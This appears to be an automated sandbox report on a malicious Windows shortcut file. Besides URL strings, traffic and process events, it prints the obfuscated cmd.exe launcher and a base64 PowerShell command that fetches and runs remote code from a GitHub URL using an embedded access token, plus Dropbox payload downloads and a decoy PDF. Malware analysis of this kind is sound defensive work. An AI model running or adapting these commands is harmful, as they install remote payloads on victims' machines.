Source: powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D76A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.dropbox.com
Source: 2D85F72862B55C4EADD9E66E06947F3D0.5.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D5BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1736992036.000002D50E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/js/comments2/index-vflQdvUHu.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/js/file_viewer/index.web-vflDar80-.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/abuse/fingerprintjs_component-vflTizAkf.c
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/app_actions/index-vflwwzTNE.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/dig-components/index.web-vfl9S1OpT.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/dig-components/tokens-vfltkUjWJ.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/dig-illustrations/index.web-vflFaDZOD.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/dig/fonts-vflMHuSEC.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/error-vflFJkh4x.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/foundation-vflH6wwwv.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/google_one_tap-vflp9XDLJ.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/maestro_appshell_styles-vflfNNLV5.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/notify-vfl4oJv2S.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/snackbar-vfl0sHK6v.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/spectrum/index.web-vflwvsegv.css
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/images/favicon.ico
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/js/alameda_bundle/alameda_bundle_ie_en-vflm4_
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/typescript/component_libraries/dig-experimental/src/index.web-v
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/typescript/component_libraries/dwg-components/src/index.web-vfl
Source: powershell.exe, 00000004.00000002.1753117951.000002D51E1C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1753117951.000002D51E1C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1753117951.000002D51E1C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dropbox.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: qmgr.db.6.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000006.00000003.1763436197.0000020DA8C72000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1763436197.0000020DA8C0E000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: qmgr.db.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: qmgr.db.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 00000004.00000002.1736992036.000002D50F887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D6821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: powershell.exe, 00000002.00000002.4187390208.000001B9E5DA2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4187390208.000001B9E5C5F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1753117951.000002D51E080000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1736992036.000002D50F8E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1753117951.000002D51E1C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: qmgr.db.6.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000006.00000003.1763436197.0000020DA8C72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: powershell.exe, 00000004.00000002.1736992036.000002D50F595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000004.00000002.1736992036.000002D50F595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D6821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D6821000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D5E21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D5BF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/1x3k/secret/refs/heads/main/secret
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D7686000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D7BA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D71FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/pn7ry2p5lmc4u74vvcfsv/helper.zip?rlkey=nojg2y9c8en2q3rgyoy57e4f7&st=7
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D5E21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/srqk73oyk4n1631ghrauh/7z.exe?rlke
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D7BA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D71FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D7686000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/srqk73oyk4n1631ghrauh/7z.exe?rlkey=ene1k0gk7xpk6dtuc5uk5a7u9&st=w7kwf
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: 7z.exe.2.dr, helper.zip.2.dr	String found in binary or memory: https://www.dropboxstatic.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443

Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.65.18:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_00007FFD9B8053C8

2_2_00007FFD9B8053C8

Source: unknown

Process created: Commandline size = 3488

Source: classification engine

Classification label: mal100.troj.evad.winLNK@27/51@3/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_adjo1gom.hhh.ps1

Jump to behavior

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: mjjt5kTb4o.lnk

ReversingLabs: Detection: 28%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" "AAAAAA\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|/V/D/c "ServiceRunLocalDriveUserNotes1ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|OOOOOOOOOOOOOOOOOOOOOOOOOOO\|\|OOOOOOOOOOOOOOOOOOOOOOOOOOXXX\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|OOOOOOOOOOAAAA\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|CCCCCCCC\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1OOOOOOOOOOOOOO\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|OOOOOOOOOOAAA\|\|ServiceRunLocalDriveUserNotes1AA\|\|Se^T ACAACA=:\Helper&&ServiceRunLocalDriveUserNotes1\|\|OOOOOOOOOOAA\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|set SSA=exi&&ServiceRunLocalDriveUserNotes1\|\|@if exist "C!ACAACA!" (!SSA!t) else ( ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|set A=PoW&&set aA=She&&ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|set VERIFICATION=l&&ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|^se^t USERNAME=SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0A&&^s^eT^ Driver=DAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA&&s^et PASSWORD=aQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGM&&set VALIDATION=-enco&&ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|seT^ Update=QA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\Form_Lamaran.pdf"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden New-Item -ItemType Directory -Force -Path C:\helper
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
